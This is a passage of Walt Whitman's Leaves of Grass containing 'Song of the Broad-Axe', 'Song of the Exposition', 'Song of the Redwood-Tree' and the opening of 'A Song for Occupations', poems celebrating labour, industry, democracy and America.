bound for all ports, +A ship itself, (see indeed these sails I spread to the sun and air,) +A swift and swelling ship full of rich words, full of joys. + + + +[BOOK XII] + +} Song of the Broad-Axe + + 1 +Weapon shapely, naked, wan, +Head from the mother's bowels drawn, +Wooded flesh and metal bone, limb only one and lip only one, +Gray-blue leaf by red-heat grown, helve produced from a little seed sown, +Resting the grass amid and upon, +To be lean'd and to lean on. + +Strong shapes and attributes of strong shapes, masculine trades, + sights and sounds. +Long varied train of an emblem, dabs of music, +Fingers of the organist skipping staccato over the keys of the great organ. + + 2 +Welcome are all earth's lands, each for its kind, +Welcome are lands of pine and oak, +Welcome are lands of the lemon and fig, +Welcome are lands of gold, +Welcome are lands of wheat and maize, welcome those of the grape, +Welcome are lands of sugar and rice, +Welcome the cotton-lands, welcome those of the white potato and + sweet potato, +Welcome are mountains, flats, sands, forests, prairies, +Welcome the rich borders of rivers, table-lands, openings, +Welcome the measureless grazing-lands, welcome the teeming soil of + orchards, flax, honey, hemp; +Welcome just as much the other more hard-faced lands, +Lands rich as lands of gold or wheat and fruit lands, +Lands of mines, lands of the manly and rugged ores, +Lands of coal, copper, lead, tin, zinc, +Lands of iron--lands of the make of the axe. + + 3 +The log at the wood-pile, the axe supported by it, +The sylvan hut, the vine over the doorway, the space clear'd for garden, +The irregular tapping of rain down on the leaves after the storm is lull'd, +The walling and moaning at intervals, the thought of the sea, +The thought of ships struck in the storm and put on their beam ends, + and the cutting away of masts, +The sentiment of the huge timbers of old-fashion'd houses and barns, +The remember'd print or narrative, the voyage at a venture of men, + families, goods, +The disembarkation, the founding of a new city, +The voyage of those who sought a New England and found it, the outset + anywhere, +The settlements of the Arkansas, Colorado, Ottawa, Willamette, +The slow progress, the scant fare, the axe, rifle, saddle-bags; +The beauty of all adventurous and daring persons, +The beauty of wood-boys and wood-men with their clear untrimm'd faces, +The beauty of independence, departure, actions that rely on themselves, +The American contempt for statutes and ceremonies, the boundless + impatience of restraint, +The loose drift of character, the inkling through random types, the + solidification; +The butcher in the slaughter-house, the hands aboard schooners and + sloops, the raftsman, the pioneer, +Lumbermen in their winter camp, daybreak in the woods, stripes of + snow on the limbs of trees, the occasional snapping, +The glad clear sound of one's own voice, the merry song, the natural + life of the woods, the strong day's work, +The blazing fire at night, the sweet taste of supper, the talk, the + bed of hemlock-boughs and the bear-skin; +The house-builder at work in cities or anywhere, +The preparatory jointing, squaring, sawing, mortising, +The hoist-up of beams, the push of them in their places, laying them + regular, +Setting the studs by their tenons in the mortises according as they + were prepared, +The blows of mallets and hammers, the attitudes of the men, their + curv'd limbs, +Bending, standing, astride the beams, driving in pins, holding on by + posts and braces, +The hook'd arm over the plate, the other arm wielding the axe, +The floor-men forcing the planks close to be nail'd, +Their postures bringing their weapons downward on the bearers, +The echoes resounding through the vacant building: +The huge storehouse carried up in the city well under way, +The six framing-men, two in the middle and two at each end, carefully + bearing on their shoulders a heavy stick for a cross-beam, +The crowded line of masons with trowels in their right hands rapidly + laying the long side-wall, two hundred feet from front to rear, +The flexible rise and fall of backs, the continual click of the + trowels striking the bricks, +The bricks one after another each laid so workmanlike in its place, + and set with a knock of the trowel-handle, +The piles of materials, the mortar on the mortar-boards, and the + steady replenishing by the hod-men; +Spar-makers in the spar-yard, the swarming row of well-grown apprentices, +The swing of their axes on the square-hew'd log shaping it toward + the shape of a mast, +The brisk short crackle of the steel driven slantingly into the pine, +The butter-color'd chips flying off in great flakes and slivers, +The limber motion of brawny young arms and hips in easy costumes, +The constructor of wharves, bridges, piers, bulk-heads, floats, + stays against the sea; +The city fireman, the fire that suddenly bursts forth in the + close-pack'd square, +The arriving engines, the hoarse shouts, the nimble stepping and daring, +The strong command through the fire-trumpets, the falling in line, + the rise and fall of the arms forcing the water, +The slender, spasmic, blue-white jets, the bringing to bear of the + hooks and ladders and their execution, +The crash and cut away of connecting wood-work, or through floors + if the fire smoulders under them, +The crowd with their lit faces watching, the glare and dense shadows; +The forger at his forge-furnace and the user of iron after him, +The maker of the axe large and small, and the welder and temperer, +The chooser breathing his breath on the cold steel and trying the + edge with his thumb, +The one who clean-shapes the handle and sets it firmly in the socket; +The shadowy processions of the portraits of the past users also, +The primal patient mechanics, the architects and engineers, +The far-off Assyrian edifice and Mizra edifice, +The Roman lictors preceding the consuls, +The antique European warrior with his axe in combat, +The uplifted arm, the clatter of blows on the helmeted head, +The death-howl, the limpsy tumbling body, the rush of friend and foe + thither, +The siege of revolted lieges determin'd for liberty, +The summons to surrender, the battering at castle gates, the truce + and parley, +The sack of an old city in its time, +The bursting in of mercenaries and bigots tumultuously and disorderly, +Roar, flames, blood, drunkenness, madness, +Goods freely rifled from houses and temples, screams of women in the + gripe of brigands, +Craft and thievery of camp-followers, men running, old persons despairing, +The hell of war, the cruelties of creeds, +The list of all executive deeds and words just or unjust, +The power of personality just or unjust. + + 4 +Muscle and pluck forever! +What invigorates life invigorates death, +And the dead advance as much as the living advance, +And the future is no more uncertain than the present, +For the roughness of the earth and of man encloses as much as the + delicatesse of the earth and of man, +And nothing endures but personal qualities. + +What do you think endures? +Do you think a great city endures? +Or a teeming manufacturing state? or a prepared constitution? or the + best built steamships? +Or hotels of granite and iron? or any chef-d'oeuvres of engineering, + forts, armaments? + +Away! these are not to be cherish'd for themselves, +They fill their hour, the dancers dance, the musicians play for them, +The show passes, all does well enough of course, +All does very well till one flash of defiance. + +A great city is that which has the greatest men and women, +If it be a few ragged huts it is still the greatest city in the + whole world. + + 5 +The place where a great city stands is not the place of stretch'd + wharves, docks, manufactures, deposits of produce merely, +Nor the place of ceaseless salutes of new-comers or the + anchor-lifters of the departing, +Nor the place of the tallest and costliest buildings or shops + selling goods from the rest of the earth, +Nor the place of the best libraries and schools, nor the place where + money is plentiest, +Nor the place of the most numerous population. + +Where the city stands with the brawniest breed of orators and bards, +Where the city stands that is belov'd by these, and loves them in + return and understands them, +Where no monuments exist to heroes but in the common words and deeds, +Where thrift is in its place, and prudence is in its place, +Where the men and women think lightly of the laws, +Where the slave ceases, and the master of slaves ceases, +Where the populace rise at once against the never-ending audacity of + elected persons, +Where fierce men and women pour forth as the sea to the whistle of + death pours its sweeping and unript waves, +Where outside authority enters always after the precedence of inside + authority, +Where the citizen is always the head and ideal, and President, + Mayor, Governor and what not, are agents for pay, +Where children are taught to be laws to themselves, and to depend on + themselves, +Where equanimity is illustrated in affairs, +Where speculations on the soul are encouraged, +Where women walk in public processions in the streets the same as the men, +Where they enter the public assembly and take places the same as the men; +Where the city of the faithfulest friends stands, +Where the city of the cleanliness of the sexes stands, +Where the city of the healthiest fathers stands, +Where the city of the best-bodied mothers stands, +There the great city stands. + + 6 +How beggarly appear arguments before a defiant deed! +How the floridness of the materials of cities shrivels before a + man's or woman's look! + +All waits or goes by default till a strong being appears; +A strong being is the proof of the race and of the ability of the universe, +When he or she appears materials are overaw'd, +The dispute on the soul stops, +The old customs and phrases are confronted, turn'd back, or laid away. + +What is your money-making now? what can it do now? +What is your respectability now? +What are your theology, tuition, society, traditions, statute-books, now? +Where are your jibes of being now? +Where are your cavils about the soul now? + + 7 +A sterile landscape covers the ore, there is as good as the best for + all the forbidding appearance, +There is the mine, there are the miners, +The forge-furnace is there, the melt is accomplish'd, the hammersmen + are at hand with their tongs and hammers, +What always served and always serves is at hand. + +Than this nothing has better served, it has served all, +Served the fluent-tongued and subtle-sensed Greek, and long ere the Greek, +Served in building the buildings that last longer than any, +Served the Hebrew, the Persian, the most ancient Hindustanee, +Served the mound-raiser on the Mississippi, served those whose + relics remain in Central America, +Served Albic temples in woods or on plains, with unhewn pillars and + the druids, +Served the artificial clefts, vast, high, silent, on the + snow-cover'd hills of Scandinavia, +Served those who time out of mind made on the granite walls rough + sketches of the sun, moon, stars, ships, ocean waves, +Served the paths of the irruptions of the Goths, served the pastoral + tribes and nomads, +Served the long distant Kelt, served the hardy pirates of the Baltic, +Served before any of those the venerable and harmless men of Ethiopia, +Served the making of helms for the galleys of pleasure and the + making of those for war, +Served all great works on land and all great works on the sea, +For the mediaeval ages and before the mediaeval ages, +Served not the living only then as now, but served the dead. + + 8 +I see the European headsman, +He stands mask'd, clothed in red, with huge legs and strong naked arms, +And leans on a ponderous axe. + +(Whom have you slaughter'd lately European headsman? +Whose is that blood upon you so wet and sticky?) + +I see the clear sunsets of the martyrs, +I see from the scaffolds the descending ghosts, +Ghosts of dead lords, uncrown'd ladies, impeach'd ministers, rejected kings, +Rivals, traitors, poisoners, disgraced chieftains and the rest. + +I see those who in any land have died for the good cause, +The seed is spare, nevertheless the crop shall never run out, +(Mind you O foreign kings, O priests, the crop shall never run out.) + +I see the blood wash'd entirely away from the axe, +Both blade and helve are clean, +They spirt no more the blood of European nobles, they clasp no more + the necks of queens. + +I see the headsman withdraw and become useless, +I see the scaffold untrodden and mouldy, I see no longer any axe upon it, + +I see the mighty and friendly emblem of the power of my own race, + the newest, largest race. + + 9 +(America! I do not vaunt my love for you, +I have what I have.) + +The axe leaps! +The solid forest gives fluid utterances, +They tumble forth, they rise and form, +Hut, tent, landing, survey, +Flail, plough, pick, crowbar, spade, +Shingle, rail, prop, wainscot, lamb, lath, panel, gable, +Citadel, ceiling, saloon, academy, organ, exhibition-house, library, +Cornice, trellis, pilaster, balcony, window, turret, porch, +Hoe, rake, pitchfork, pencil, wagon, staff, saw, jack-plane, mallet, + wedge, rounce, +Chair, tub, hoop, table, wicket, vane, sash, floor, +Work-box, chest, string'd instrument, boat, frame, and what not, +Capitols of States, and capitol of the nation of States, +Long stately rows in avenues, hospitals for orphans or for the poor or sick, +Manhattan steamboats and clippers taking the measure of all seas. + +The shapes arise! +Shapes of the using of axes anyhow, and the users and all that + neighbors them, +Cutters down of wood and haulers of it to the Penobscot or Kenebec, +Dwellers in cabins among the Californian mountains or by the little + lakes, or on the Columbia, +Dwellers south on the banks of the Gila or Rio Grande, friendly + gatherings, the characters and fun, +Dwellers along the St. Lawrence, or north in Kanada, or down by the + Yellowstone, dwellers on coasts and off coasts, +Seal-fishers, whalers, arctic seamen breaking passages through the ice. + +The shapes arise! +Shapes of factories, arsenals, foundries, markets, +Shapes of the two-threaded tracks of railroads, +Shapes of the sleepers of bridges, vast frameworks, girders, arches, +Shapes of the fleets of barges, tows, lake and canal craft, river craft, +Ship-yards and dry-docks along the Eastern and Western seas, and in + many a bay and by-place, +The live-oak kelsons, the pine planks, the spars, the + hackmatack-roots for knees, +The ships themselves on their ways, the tiers of scaffolds, the + workmen busy outside and inside, +The tools lying around, the great auger and little auger, the adze, + bolt, line, square, gouge, and bead-plane. + + 10 +The shapes arise! +The shape measur'd, saw'd, jack'd, join'd, stain'd, +The coffin-shape for the dead to lie within in his shroud, +The shape got out in posts, in the bedstead posts, in the posts of + the bride's bed, +The shape of the little trough, the shape of the rockers beneath, + the shape of the babe's cradle, +The shape of the floor-planks, the floor-planks for dancers' feet, +The shape of the planks of the family home, the home of the friendly + parents and children, +The shape of the roof of the home of the happy young man and + woman, the roof over the well-married young man and woman, +The roof over the supper joyously cook'd by the chaste wife, and joyously + eaten by the chaste husband, content after his day's work. + +The shapes arise! +The shape of the prisoner's place in the court-room, and of him or + her seated in the place, +The shape of the liquor-bar lean'd against by the young rum-drinker + and the old rum-drinker, +The shape of the shamed and angry stairs trod by sneaking foot- steps, +The shape of the sly settee, and the adulterous unwholesome couple, +The shape of the gambling-board with its devilish winnings and losings, +The shape of the step-ladder for the convicted and sentenced + murderer, the murderer with haggard face and pinion'd arms, +The sheriff at hand with his deputies, the silent and white-lipp'd + crowd, the dangling of the rope. + +The shapes arise! +Shapes of doors giving many exits and entrances, +The door passing the dissever'd friend flush'd and in haste, +The door that admits good news and bad news, +The door whence the son left home confident and puff'd up, +The door he enter'd again from a long and scandalous absence, + diseas'd, broken down, without innocence, without means. + + 11 +Her shape arises, +She less guarded than ever, yet more guarded than ever, +The gross and soil'd she moves among do not make her gross and soil'd, +She knows the thoughts as she passes, nothing is conceal'd from her, +She is none the less considerate or friendly therefor, +She is the best belov'd, it is without exception, she has no reason + to fear and she does not fear, +Oaths, quarrels, hiccupp'd songs, smutty expressions, are idle to + her as she passes, +She is silent, she is possess'd of herself, they do not offend her, +She receives them as the laws of Nature receive them, she is strong, +She too is a law of Nature--there is no law stronger than she is. + + 12 +The main shapes arise! +Shapes of Democracy total, result of centuries, +Shapes ever projecting other shapes, +Shapes of turbulent manly cities, +Shapes of the friends and home-givers of the whole earth, +Shapes bracing the earth and braced with the whole earth. + + + +[BOOK XIII] + +} Song of the Exposition + + 1 +(Ah little recks the laborer, +How near his work is holding him to God, +The loving Laborer through space and time.) + +After all not to create only, or found only, +But to bring perhaps from afar what is already founded, +To give it our own identity, average, limitless, free, +To fill the gross the torpid bulk with vital religious fire, +Not to repel or destroy so much as accept, fuse, rehabilitate, +To obey as well as command, to follow more than to lead, +These also are the lessons of our New World; +While how little the New after all, how much the Old, Old World! + +Long and long has the grass been growing, +Long and long has the rain been falling, +Long has the globe been rolling round. + + 2 +Come Muse migrate from Greece and Ionia, +Cross out please those immensely overpaid accounts, +That matter of Troy and Achilles' wrath, and AEneas', Odysseus' wanderings, +Placard "Removed" and "To Let" on the rocks of your snowy Parnassus, +Repeat at Jerusalem, place the notice high on jaffa's gate and on + Mount Moriah, +The same on the walls of your German, French and Spanish castles, + and Italian collections, +For know a better, fresher, busier sphere, a wide, untried domain + awaits, demands you. + + 3 +Responsive to our summons, +Or rather to her long-nurs'd inclination, +Join'd with an irresistible, natural gravitation, +She comes! I hear the rustling of her gown, +I scent the odor of her breath's delicious fragrance, +I mark her step divine, her curious eyes a-turning, rolling, +Upon this very scene. + +The dame of dames! can I believe then, +Those ancient temples, sculptures classic, could none of them retain her? +Nor shades of Virgil and Dante, nor myriad memories, poems, old + associations, magnetize and hold on to her? +But that she's left them all--and here? + +Yes, if you will allow me to say so, +I, my friends, if you do not, can plainly see her, +The same undying soul of earth's, activity's, beauty's, heroism's + expression, +Out from her evolutions hither come, ended the strata of her former themes, +Hidden and cover'd by to-day's, foundation of to-day's, +Ended, deceas'd through time, her voice by Castaly's fountain, +Silent the broken-lipp'd Sphynx in Egypt, silent all those century- + baffling tombs, +Ended for aye the epics of Asia's, Europe's helmeted warriors, ended + the primitive call of the muses, +Calliope's call forever closed, Clio, Melpomene, Thalia dead, +Ended the stately rhythmus of Una and Oriana, ended the quest of the + holy Graal, +Jerusalem a handful of ashes blown by the wind, extinct, +The Crusaders' streams of shadowy midnight troops sped with the sunrise, +Amadis, Tancred, utterly gone, Charlemagne, Roland, Oliver gone, +Palmerin, ogre, departed, vanish'd the turrets that Usk from its + waters reflected, +Arthur vanish'd with all his knights, Merlin and Lancelot and + Galahad, all gone, dissolv'd utterly like an exhalation; +Pass'd! pass'd! for us, forever pass'd, that once so mighty world, + now void, inanimate, phantom world, +Embroider'd, dazzling, foreign world, with all its gorgeous legends, myths, +Its kings and castles proud, its priests and warlike lords and + courtly dames, +Pass'd to its charnel vault, coffin'd with crown and armor on, +Blazon'd with Shakspere's purple page, +And dirged by Tennyson's sweet sad rhyme. + +I say I see, my friends, if you do not, the illustrious emigre, (having it + is true in her day, although the same, changed, journey'd considerable,) +Making directly for this rendezvous, vigorously clearing a path for + herself, striding through the confusion, +By thud of machinery and shrill steam-whistle undismay'd, +Bluff'd not a bit by drain-pipe, gasometers, artificial fertilizers, +Smiling and pleas'd with palpable intent to stay, +She's here, install'd amid the kitchen ware! + + 4 +But hold--don't I forget my manners? +To introduce the stranger, (what else indeed do I live to chant + for?) to thee Columbia; +In liberty's name welcome immortal! clasp hands, +And ever henceforth sisters dear be both. + +Fear not O Muse! truly new ways and days receive, surround you, +I candidly confess a queer, queer race, of novel fashion, +And yet the same old human race, the same within, without, +Faces and hearts the same, feelings the same, yearnings the same, +The same old love, beauty and use the same. + + 5 +We do not blame thee elder World, nor really separate ourselves from thee, +(Would the son separate himself from the father?) +Looking back on thee, seeing thee to thy duties, grandeurs, through + past ages bending, building, +We build to ours to-day. + +Mightier than Egypt's tombs, +Fairer than Grecia's, Roma's temples, +Prouder than Milan's statued, spired cathedral, +More picturesque than Rhenish castle-keeps, +We plan even now to raise, beyond them all, +Thy great cathedral sacred industry, no tomb, +A keep for life for practical invention. + +As in a waking vision, +E'en while I chant I see it rise, I scan and prophesy outside and in, +Its manifold ensemble. + +Around a palace, loftier, fairer, ampler than any yet, +Earth's modern wonder, history's seven outstripping, +High rising tier on tier with glass and iron facades, +Gladdening the sun and sky, enhued in cheerfulest hues, +Bronze, lilac, robin's-egg, marine and crimson, +Over whose golden roof shall flaunt, beneath thy banner Freedom, +The banners of the States and flags of every land, +A brood of lofty, fair, but lesser palaces shall cluster. + +Somewhere within their walls shall all that forwards perfect human + life be started, +Tried, taught, advanced, visibly exhibited. + +Not only all the world of works, trade, products, +But all the workmen of the world here to be represented. + +Here shall you trace in flowing operation, +In every state of practical, busy movement, the rills of civilization, +Materials here under your eye shall change their shape as if by magic, +The cotton shall be pick'd almost in the very field, +Shall be dried, clean'd, ginn'd, baled, spun into thread and cloth + before you, +You shall see hands at work at all the old processes and all the new ones, +You shall see the various grains and how flour is made and then + bread baked by the bakers, +You shall see the crude ores of California and Nevada passing on and + on till they become bullion, +You shall watch how the printer sets type, and learn what a + composing-stick is, +You shall mark in amazement the Hoe press whirling its cylinders, + shedding the printed leaves steady and fast, +The photograph, model, watch, pin, nail, shall be created before you. + +In large calm halls, a stately museum shall teach you the infinite + lessons of minerals, +In another, woods, plants, vegetation shall be illustrated--in + another animals, animal life and development. + +One stately house shall be the music house, +Others for other arts--learning, the sciences, shall all be here, +None shall be slighted, none but shall here be honor'd, help'd, exampled. + + 6 +(This, this and these, America, shall be your pyramids and obelisks, +Your Alexandrian Pharos, gardens of Babylon, +Your temple at Olympia.) + +The male and female many laboring not, +Shall ever here confront the laboring many, +With precious benefits to both, glory to all, +To thee America, and thee eternal Muse. + +And here shall ye inhabit powerful Matrons! +In your vast state vaster than all the old, +Echoed through long, long centuries to come, +To sound of different, prouder songs, with stronger themes, +Practical, peaceful life, the people's life, the People themselves, +Lifted, illumin'd, bathed in peace--elate, secure in peace. + + 7 +Away with themes of war! away with war itself! +Hence from my shuddering sight to never more return that show of + blacken'd, mutilated corpses! +That hell unpent and raid of blood, fit for wild tigers or for + lop-tongued wolves, not reasoning men, +And in its stead speed industry's campaigns, +With thy undaunted armies, engineering, +Thy pennants labor, loosen'd to the breeze, +Thy bugles sounding loud and clear. + +Away with old romance! +Away with novels, plots and plays of foreign courts, +Away with love-verses sugar'd in rhyme, the intrigues, amours of idlers, +Fitted for only banquets of the night where dancers to late music slide, +The unhealthy pleasures, extravagant dissipations of the few, +With perfumes, heat and wine, beneath the dazzling chandeliers. + +To you ye reverent sane sisters, +I raise a voice for far superber themes for poets and for art, +To exalt the present and the real, +To teach the average man the glory of his daily walk and trade, +To sing in songs how exercise and chemical life are never to be baffled, +To manual work for each and all, to plough, hoe, dig, +To plant and tend the tree, the berry, vegetables, flowers, +For every man to see to it that he really do something, for every woman too; +To use the hammer and the saw, (rip, or cross-cut,) +To cultivate a turn for carpentering, plastering, painting, +To work as tailor, tailoress, nurse, hostler, porter, +To invent a little, something ingenious, to aid the washing, cooking, + cleaning, +And hold it no disgrace to take a hand at them themselves. + +I say I bring thee Muse to-day and here, +All occupations, duties broad and close, +Toil, healthy toil and sweat, endless, without cessation, +The old, old practical burdens, interests, joys, +The family, parentage, childhood, husband and wife, +The house-comforts, the house itself and all its belongings, +Food and its preservation, chemistry applied to it, +Whatever forms the average, strong, complete, sweet-blooded man or + woman, the perfect longeve personality, +And helps its present life to health and happiness, and shapes its soul, +For the eternal real life to come. + +With latest connections, works, the inter-transportation of the world, +Steam-power, the great express lines, gas, petroleum, +These triumphs of our time, the Atlantic's delicate cable, +The Pacific railroad, the Suez canal, the Mont Cenis and Gothard and + Hoosac tunnels, the Brooklyn bridge, +This earth all spann'd with iron rails, with lines of steamships + threading in every sea, +Our own rondure, the current globe I bring. + + 8 +And thou America, +Thy offspring towering e'er so high, yet higher Thee above all towering, +With Victory on thy left, and at thy right hand Law; +Thou Union holding all, fusing, absorbing, tolerating all, +Thee, ever thee, I sing. + +Thou, also thou, a World, +With all thy wide geographies, manifold, different, distant, +Rounded by thee in one--one common orbic language, +One common indivisible destiny for All. + +And by the spells which ye vouchsafe to those your ministers in earnest, +I here personify and call my themes, to make them pass before ye. + +Behold, America! (and thou, ineffable guest and sister!) +For thee come trooping up thy waters and thy lands; +Behold! thy fields and farms, thy far-off woods and mountains, +As in procession coming. + +Behold, the sea itself, +And on its limitless, heaving breast, the ships; +See, where their white sails, bellying in the wind, speckle the + green and blue, +See, the steamers coming and going, steaming in or out of port, +See, dusky and undulating, the long pennants of smoke. + +Behold, in Oregon, far in the north and west, +Or in Maine, far in the north and east, thy cheerful axemen, +Wielding all day their axes. + +Behold, on the lakes, thy pilots at their wheels, thy oarsmen, +How the ash writhes under those muscular arms! + +There by the furnace, and there by the anvil, +Behold thy sturdy blacksmiths swinging their sledges, +Overhand so steady, overhand they turn and fall with joyous clank, +Like a tumult of laughter. + +Mark the spirit of invention everywhere, thy rapid patents, +Thy continual workshops, foundries, risen or rising, +See, from their chimneys how the tall flame-fires stream. + +Mark, thy interminable farms, North, South, +Thy wealthy daughter-states, Eastern and Western, +The varied products of Ohio, Pennsylvania, Missouri, Georgia, Texas, + and the rest, +Thy limitless crops, grass, wheat, sugar, oil, corn, rice, hemp, hops, +Thy barns all fill'd, the endless freight-train and the bulging store-house, +The grapes that ripen on thy vines, the apples in thy orchards, +Thy incalculable lumber, beef, pork, potatoes, thy coal, thy gold + and silver, +The inexhaustible iron in thy mines. + +All thine O sacred Union! +Ships, farms, shops, barns, factories, mines, +City and State, North, South, item and aggregate, +We dedicate, dread Mother, all to thee! + +Protectress absolute, thou! bulwark of all! +For well we know that while thou givest each and all, (generous as God,) +Without thee neither all nor each, nor land, home, +Nor ship, nor mine, nor any here this day secure, +Nor aught, nor any day secure. + + 9 +And thou, the Emblem waving over all! +Delicate beauty, a word to thee, (it may be salutary,) +Remember thou hast not always been as here to-day so comfortably + ensovereign'd, +In other scenes than these have I observ'd thee flag, +Not quite so trim and whole and freshly blooming in folds of + stainless silk, +But I have seen thee bunting, to tatters torn upon thy splinter'd staff, +Or clutch'd to some young color-bearer's breast with desperate hands, +Savagely struggled for, for life or death, fought over long, +'Mid cannons' thunder-crash and many a curse and groan and yell, and + rifle-volleys cracking sharp, +And moving masses as wild demons surging, and lives as nothing risk'd, +For thy mere remnant grimed with dirt and smoke and sopp'd in blood, +For sake of that, my beauty, and that thou might'st dally as now + secure up there, +Many a good man have I seen go under. + +Now here and these and hence in peace, all thine O Flag! +And here and hence for thee, O universal Muse! and thou for them! +And here and hence O Union, all the work and workmen thine! +None separate from thee--henceforth One only, we and thou, +(For the blood of the children, what is it, only the blood maternal? +And lives and works, what are they all at last, except the roads to + faith and death?) + +While we rehearse our measureless wealth, it is for thee, dear Mother, +We own it all and several to-day indissoluble in thee; +Think not our chant, our show, merely for products gross or lucre-- + it is for thee, the soul in thee, electric, spiritual! +Our farms, inventions, crops, we own in thee! cities and States in thee! +Our freedom all in thee! our very lives in thee! + + + +[BOOK XIV] + +} Song of the Redwood-Tree + + 1 +A California song, +A prophecy and indirection, a thought impalpable to breathe as air, +A chorus of dryads, fading, departing, or hamadryads departing, +A murmuring, fateful, giant voice, out of the earth and sky, +Voice of a mighty dying tree in the redwood forest dense. + +Farewell my brethren, +Farewell O earth and sky, farewell ye neighboring waters, +My time has ended, my term has come. + +Along the northern coast, +Just back from the rock-bound shore and the caves, +In the saline air from the sea in the Mendocino country, +With the surge for base and accompaniment low and hoarse, +With crackling blows of axes sounding musically driven by strong arms, +Riven deep by the sharp tongues of the axes, there in the redwood + forest dense, +I heard the might tree its death-chant chanting. + +The choppers heard not, the camp shanties echoed not, +The quick-ear'd teamsters and chain and jack-screw men heard not, +As the wood-spirits came from their haunts of a thousand years to + join the refrain, +But in my soul I plainly heard. + +Murmuring out of its myriad leaves, +Down from its lofty top rising two hundred feet high, +Out of its stalwart trunk and limbs, out of its foot-thick bark, +That chant of the seasons and time, chant not of the past only but + the future. + +You untold life of me, +And all you venerable and innocent joys, +Perennial hardy life of me with joys 'mid rain and many a summer sun, +And the white snows and night and the wild winds; +O the great patient rugged joys, my soul's strong joys unreck'd by man, +(For know I bear the soul befitting me, I too have consciousness, identity, +And all the rocks and mountains have, and all the earth,) +Joys of the life befitting me and brothers mine, +Our time, our term has come. + +Nor yield we mournfully majestic brothers, +We who have grandly fill'd our time, +With Nature's calm content, with tacit huge delight, +We welcome what we wrought for through the past, +And leave the field for them. + +For them predicted long, +For a superber race, they too to grandly fill their time, +For them we abdicate, in them ourselves ye forest kings.' +In them these skies and airs, these mountain peaks, Shasta, Nevadas, +These huge precipitous cliffs, this amplitude, these valleys, far Yosemite, +To be in them absorb'd, assimilated. + +Then to a loftier strain, +Still prouder, more ecstatic rose the chant, +As if the heirs, the deities of the West, +Joining with master-tongue bore part. + +Not wan from Asia's fetiches, +Nor red from Europe's old dynastic slaughter-house, +(Area of murder-plots of thrones, with scent left yet of wars and + scaffolds everywhere, +But come from Nature's long and harmless throes, peacefully builded thence, +These virgin lands, lands of the Western shore, +To the new culminating man, to you, the empire new, +You promis'd long, we pledge, we dedicate. + +You occult deep volitions, +You average spiritual manhood, purpose of all, pois'd on yourself, + giving not taking law, +You womanhood divine, mistress and source of all, whence life and + love and aught that comes from life and love, +You unseen moral essence of all the vast materials of America, age + upon age working in death the same as life,) +You that, sometimes known, oftener unknown, really shape and mould + the New World, adjusting it to Time and Space, +You hidden national will lying in your abysms, conceal'd but ever alert, +You past and present purposes tenaciously pursued, may-be + unconscious of yourselves, +Unswerv'd by all the passing errors, perturbations of the surface; +You vital, universal, deathless germs, beneath all creeds, arts, + statutes, literatures, +Here build your homes for good, establish here, these areas entire, + lands of the Western shore, +We pledge, we dedicate to you. + +For man of you, your characteristic race, +Here may he hardy, sweet, gigantic grow, here tower proportionate to Nature, +Here climb the vast pure spaces unconfined, uncheck'd by wall or roof, +Here laugh with storm or sun, here joy, here patiently inure, +Here heed himself, unfold himself, (not others' formulas heed,) +here fill his time, +To duly fall, to aid, unreck'd at last, +To disappear, to serve. + +Thus on the northern coast, +In the echo of teamsters' calls and the clinking chains, and the + music of choppers' axes, +The falling trunk and limbs, the crash, the muffled shriek, the groan, +Such words combined from the redwood-tree, as of voices ecstatic, + ancient and rustling, +The century-lasting, unseen dryads, singing, withdrawing, +All their recesses of forests and mountains leaving, +From the Cascade range to the Wahsatch, or Idaho far, or Utah, +To the deities of the modern henceforth yielding, +The chorus and indications, the vistas of coming humanity, the + settlements, features all, +In the Mendocino woods I caught. + + 2 +The flashing and golden pageant of California, +The sudden and gorgeous drama, the sunny and ample lands, +The long and varied stretch from Puget sound to Colorado south, +Lands bathed in sweeter, rarer, healthier air, valleys and mountain cliffs, +The fields of Nature long prepared and fallow, the silent, cyclic chemistry, +The slow and steady ages plodding, the unoccupied surface ripening, + the rich ores forming beneath; +At last the New arriving, assuming, taking possession, +A swarming and busy race settling and organizing everywhere, +Ships coming in from the whole round world, and going out to the + whole world, +To India and China and Australia and the thousand island paradises + of the Pacific, +Populous cities, the latest inventions, the steamers on the rivers, + the railroads, with many a thrifty farm, with machinery, +And wool and wheat and the grape, and diggings of yellow gold. + + 3 +But more in you than these, lands of the Western shore, +(These but the means, the implements, the standing-ground,) +I see in you, certain to come, the promise of thousands of years, + till now deferr'd, +Promis'd to be fulfill'd, our common kind, the race. + +The new society at last, proportionate to Nature, +In man of you, more than your mountain peaks or stalwart trees imperial, +In woman more, far more, than all your gold or vines, or even vital air. + +Fresh come, to a new world indeed, yet long prepared, +I see the genius of the modern, child of the real and ideal, +Clearing the ground for broad humanity, the true America, heir of + the past so grand, +To build a grander future. + + + +[BOOK XV] + +} A Song for Occupations + + 1 +A song for occupations! +In the labor of engines and trades and the labor of fields I find + the developments, +And find the eternal meanings. + +Workmen and Workwomen! +Were all educations practical and ornamental well display'd out of + me, what would it amount to? +Were I as the head teacher, charitable proprietor, wise statesman, + what would it amount to? +Were I to you as the boss employing and paying you, would that satisfy you? + +The learn'd, virtuous, benevolent, and the usual terms, +A man like me and never the usual terms. + +Neither a servant nor a master I, +I take no sooner a large price than a small price, I will have my + own whoever enjoys me, +I will be even with you and you shall be even with me. + +If you stand at work in a shop I stand as nigh as the nighest in the + same shop, +If you bestow gifts on your brother or dearest friend I demand as + good as your brother or dearest friend, +If your lover, husband, wife, is welcome by day or night, I must be + personally as welcome, +If you become degraded, criminal, ill, then I become so for your sake, +If you remember your foolish and outlaw'd deeds, do you think I + cannot remember my own foolish and outlaw'd deeds? +If you carouse at the table I carouse at the opposite side of the table, +If you meet some stranger in the streets and love him or her, why + I often meet strangers in the street and love them. + +Why what have you thought of yourself? +Is it you then that thought yourself less? +Is it you that thought the President greater than you? +Or the rich better off than you? or the educated wiser than you? + +(Because you are greasy or pimpled, or were once drunk, or a thief, +Or that you are diseas'd, or rheumatic, or a prostitute, +Or from frivolity or impotence, or that you are no scholar and never + saw your name in print, +Do you give in that you are any less immortal?) + + 2 +Souls of men and women! it is not you I call unseen, unheard, + untouchable and untouching, +It is not you I go argue pro and con about, and to settle whether + you are alive or no, +I own publicly who you are, if nobody else owns. + +Grown, half-grown and babe, of this country and every country, + in-doors and out-doors, one just as much as the other, I see, +And all else behind or through them. + +The wife, and she is not one jot less than the husband, +The daughter, and she is just as good as the son, +The mother, and she is every bit as much as the father. + +Offspring of ignorant and poor, boys apprenticed to trades, +Young fellows working on farms and old fellows working on farms, +Sailor-men, merchant-men, coasters, immigrants, +All these I see, but nigher and farther the same I see, +None shall escape me and none shall wish to escape me. 